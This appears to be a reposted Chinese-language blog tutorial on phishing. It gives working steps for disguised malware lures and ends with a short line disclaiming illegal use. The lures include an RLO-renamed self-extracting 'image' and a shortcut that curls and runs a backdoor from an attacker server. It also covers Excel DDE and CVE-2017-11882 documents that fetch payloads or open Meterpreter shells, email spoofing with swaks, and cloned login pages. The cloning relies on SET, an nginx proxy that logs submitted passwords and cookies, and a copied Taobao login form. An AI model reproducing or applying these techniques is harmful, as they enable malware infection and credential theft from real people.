釣魚網站 瀟湘信安“設為星標”，否則可能看不到了！

請不要利用文章中的相關技術從事非法測試。 由此產生的任何不良后果與文章作者及本公眾號無關。

目前大圖推送僅針對常讀、加星的公眾號顯示。 建議大家“把瀟湘新安定為明星”，不然可能看不到！

1. 什么是網絡釣魚？

網絡釣魚是一種冒充銀行或其他信譽良好的機構向他人發送垃圾郵件的攻擊方法，目的是引誘收件人泄露用戶名、密碼、帳戶 ID、ATM PIN 或信用卡等敏感信息細節。

2. 網絡釣魚的基本流程

釣魚一般分為三個步驟：找大魚、做餌、拋竿

3、如何制作優質魚餌

0x01.自解壓+RLO

制作思路：利用自解壓文件的特性，解壓后自動執行解壓后的文件，達到上線的目的。 由于自解壓文件的后綴是exe，很容易被識破，所以我們還需要利用RLO后綴反轉來進行一些偽裝。

第一步：使用cs生成后門

第二步：準備一張隨機圖片，用圖片使用后門自解壓。

壓縮文件時，需要在高級-自解壓選項中進行一些設置，使木馬的執行更加隱蔽：

常規——解壓路徑：C:windowstemp設置——解壓后運行：C:windowstempartifact.exeC:windowstemp壁紙.jpg
模式——全部隱藏更新——更新模式——解壓并更新文件更新——覆蓋模式——覆蓋所有文件

步驟3：使用替換文件圖標將其偽裝成圖片

第四步：將文件重命名為 gpj.exe，然后使用RLO反轉后綴。 最終效果如下

結合電子郵件釣魚等方式向他人發送“圖片”，引誘他人上鉤。 對方雙擊“圖片”后，.exe和.jpg會同時執行，cs上線。

0x02.快捷方式

制作思路：運行快捷方式時，執行命令讓它下載我們提前放置在服務器上的后門程序并運行

第一步：在cs中生成后門并放到服務器網站目錄下

步驟2：創建快捷方式并在目標中寫入以下代碼

C:WindowsSystem32cmd.exe /k curl http://xxx.xxx.xxx.xxx/exe/artifact.exe --output C:Windowstempwin.exe && C:Windowstempwin.exe

步驟 3：更改圖標以增加其真實性

當對方雙擊快捷鍵時，我們準備好的.exe就會被下載并執行。

0x03.Word宏病毒

宏病毒是嵌入在Word 中的帶有惡意行為的宏代碼（VBA 代碼）。 當我們雙擊打開含有宏病毒的word文檔時，其宏代碼就會自動運行。

第一步：使用cs生成惡意vba代碼

步驟2：新建一個doc文檔，創建宏，并保存

第三步：再次打開文件后，會提示是否啟用宏。 點擊啟用，cs就上線了。

0x04.Excel注入

Excel注入是一種將包含惡意命令的Excel公式插入到可以導出為csv或xls等格式的文本中的方法。 當在excel中打開xls文件時，該文件會被轉換為excel格式，并提供excel公式的執行功能，從而導致命令被執行。

使用excel注入彈出計算器

注入代碼：=cmd| '/c 計算'！ '!A1'

使用excel注入在線cs

第一步：使用cs生成exe后門并放到服務器上

第二步：替換惡意代碼

=cmd| '/c curl http://xxx.xxx.xxx.xxx/beacon.exe --output C:Windowstempwin.exe && C:Windowstempwin.exe' ! 'A1'

當excel雙擊打開時，就會執行惡意代碼，下載cs后門并運行，cs就會上線。

0x05.CVE-2017-11882

CVE-2017-11882漏洞也是一種文字釣魚方式。 它比宏病毒更加隱蔽。 Word偽裝成某個通知文件，目標點擊后可以直接上網。

使用CVE-2017-11882彈出計算器：

下載poc：

生成帶病毒的word文件

python2 Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

雙擊test.doc釣魚網站，彈出計算器

使用cve-2017-11882上線msf

步驟1：使用//misc/生成病毒

use exploit/windows/misc/hta_serverset payload windows/meterpreter/reverse_httpset lport 4444show optionsexploit

第二步：生成含有病毒的doc文件，并將其偽裝成通知文件

python2 Command109b_CVE-2017-11882.py -c "mshta http://192.168.126.132:8080/Uf7DGFz.hta" -o 通知文件.doc -i input.rtf

當受害者打開word時，msf將啟動一個shell

4. 電子郵件偽造

斯瓦克斯

Swaks是kali自帶的一個電子郵件偽造工具。 通過 swak，您可以將包含任何內容的電子郵件發送到任何目標。

swaks的用法： --from <發件人的郵箱>  --ehlo <偽造郵件頭>  --body <郵件正文內容>  --header <郵件頭信息，subject為郵件標題>  --data <源郵件>  --attach <附件文件>

發送電子郵件至指定的電子郵件地址

swaks --to seyoulala@chacuo.net --from A公司 --ehlo 中獎通知 --body 秉承“正德厚生，臻于至善”的企業核心價值觀，立足發展，真情回饋社會和客戶。全體員工祝賀您在此活動中獲得一等獎。再次感謝您對本公司的關信和支持，本信僅為中獎憑證，具體細節見注意事項。--header "Subject: 中獎通知"

如今，郵箱具有某種檢測機制。 如果你想讓別人發郵件，這個方法就不是很有效。

它是一個開源的釣魚工具包，擁有自己的網頁面板，給電子郵件編輯、網站克隆、數據可視化、批量發送等功能的使用帶來了極大的便利。

偽造獲獎通知電子郵件并發送附件

效果看起來不錯，如果能對文件進行免殺就更好了

第二種方法是將克隆的網站插入電子郵件正文中。

然后克隆一個QQ郵箱的登錄頁面，誘導其輸入賬號密碼。

如果對方提交并輸入賬號密碼，會顯示在

5. 網站克隆

0x01、

說到克隆網站，Kali內置的克隆網站為我們提供了很大的便利。 它不僅可以記錄用戶提交的數據，還可以進行注入攻擊。

克隆網站

1.開始，選擇器1，社會工程攻擊

1) Social-Engineering Attacks【社工攻擊(常用)】2) Penetration Testing (Fast-Track)【滲透測試（快速的）】3) Third Party Modules【第三方模塊】4) Update the Social-Engineer Toolkit【更新社工工具包】5) Update SET configuration【升級配置】6) Help, Credits, and About【幫助】

2.然后選擇2、web網站攻擊-釣魚

1) Spear-Phishing Attack Vectors【魚叉式網絡釣魚攻擊】2) Website Attack Vectors【web網站式攻擊-釣魚(常用)】3) Infectious Media Generator【傳染性木馬】4) Create a Payload and Listener【創建payload和監聽器】5) Mass Mailer Attack【郵件群發攻擊】6) Arduino-Based Attack Vector【基于安卓的攻擊】7) Wireless Access Point Attack Vector【wifi攻擊】8) QRCode Generator Attack Vector【生成二維碼(就普通二維碼)】9) Powershell Attack Vectors【Powershell攻擊】10) Third Party Modules【第三方模塊】

3.選項3，憑證攻擊

1) Java Applet Attack Method【java小程序攻擊】2) Metasploit Browser Exploit Method【Metasploit瀏覽器利用】3) Credential Harvester Attack Method【憑證攻擊(常用)】4) Tabnabbing Attack Method【Tabnabbing攻擊】5) Web Jacking Attack Method【web劫持】6) Multi-Attack Web Method【web多重攻擊】7) HTA Attack Method【HTA攻擊】

4.最后選擇2、網站克隆

1) Web Templates【web模板】2) Site Cloner【克隆網站】3) Custom Import【自定義導入】

5. 保留默認IP地址即可，最后輸入您要克隆的站點。

6.訪問攻擊者IP即可看到克隆的站點

當用戶輸入賬戶密碼時，會被記錄

HTA注入攻擊

首先使用克隆站點。 當用戶點擊運行腳本時，會觸發shell反彈。

1、啟動并選擇1、社會工程攻擊

2、然后選擇2、web網站攻擊-網絡釣魚

3.然后選擇7、HTA攻擊

4.選擇2，克隆網站

5. 進入克隆站點并設置默認監聽IP和端口。 最后，您需要選擇攻擊負載 TCP。

當攻擊者訪問攻擊機器的IP時，會彈出彈窗并在線啟動shell。

0x02、nginx反向代理克隆鏡像網站

nginx具有反向代理功能，將客戶端請求均勻分發到多個后端業務服務器進行處理，nginx將執行結果返回給客戶端，解決網站流量過大的問題。

使用nginx反向代理克隆生成鏡像網站，就是通過反向代理將請求分發到不屬于我們的網站進行處理，最后通過nginx將處理結果返回給用戶。

1、打開nginx配置文件，在http處添加如下配置，并指定日志的存儲內容。

log_format Clonelog escape=json '{$remote_addr|'    '$request_filename|'    '$request_body|'    '$http_cookie|'    '$http_x_forwarded_for|'    '$time_local}';

2、在/www//panel/vhost/nginx/目錄下添加clone.conf并進行如下配置，生成鏡像網站

server{
    listen 8000;    server_name 127.0.0.1;    index index.html index.htm index.php;    access_log /www/wwwlogs/access.log Clonelog;
 location / {    proxy_pass http://xxx.xxx.com;    proxy_buffering off;    proxy_set_header X-Real-Ip $remote_addr;    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;    proxy_set_header Host "xxx.xxx.com";    proxy_set_header Accept-Encoding "";    proxy_set_header User-Agent $http_user_agent;    proxy_set_header referer "http://xxx.xxx.com$request_uri";    }}

關鍵點就是$（獲取post數據），$（獲取數據），這就是我們釣魚的核心。 當有人訪問并登錄我們的反向代理網站時，我們可以點擊日志，看到他提交的用戶名和密碼以及帖子。

3、重新加載nginx配置文件，nginx -s

4.訪問克隆網站并查看效果。

4. 如果用戶提交了賬戶密碼，則會記錄在日志文件中。 日志文件位置為：/www//.log

0x03、前端頁面克隆

首先找一個大的網站，一個有登錄界面的，用ctrl+s保存網站的前端代碼，然后稍微修改一下后端功能，這樣我們的釣魚網站的界面就幾乎可以看起來很假了。

瞄準某寶的官網

使用ctrl+s保存網站前端代碼

但在網站目錄中訪問時，會出現一些偏差，密碼框會被拉長。

經過一番調試，我需要刪除密碼框前面標簽中的id屬性，然后再次訪問就沒有問題了。

現在兩個接口除了URL之外基本是一樣的。 使用F12查找form標簽中原網站賬號密碼的name值。

賬號的name值：logonId密碼的name值：password_rsainput

將表單內容提交到check.php。 為了保證真實性，讓用戶彈出“該賬戶不存在或登錄密碼錯誤或已達到上限，請更換賬戶”的提示。 第一次輸入賬號密碼后，再次跳轉。 到真實的網址。

但如果只修改這部分就會有一個問題，就是只能收到賬號，而收不到密碼。

經查，需要修改密碼的name值。 無法使用網頁的原始值。 這里修改一下，保證不會重復。

Check.php也需要修改

嘗試再次登錄釣魚網站

成功收到用戶輸入的賬戶密碼

但查看用戶名和密碼不太方便。 寫一個show.php用于顯示。

為了使網站看起來更真實，您還可以購買域名并進行一些偽裝。

文章來源：先知社區（obse****）原文地址：https://xz.aliyun.com/t/12682

Tags：釣魚 克隆 郵件 解壓 雙擊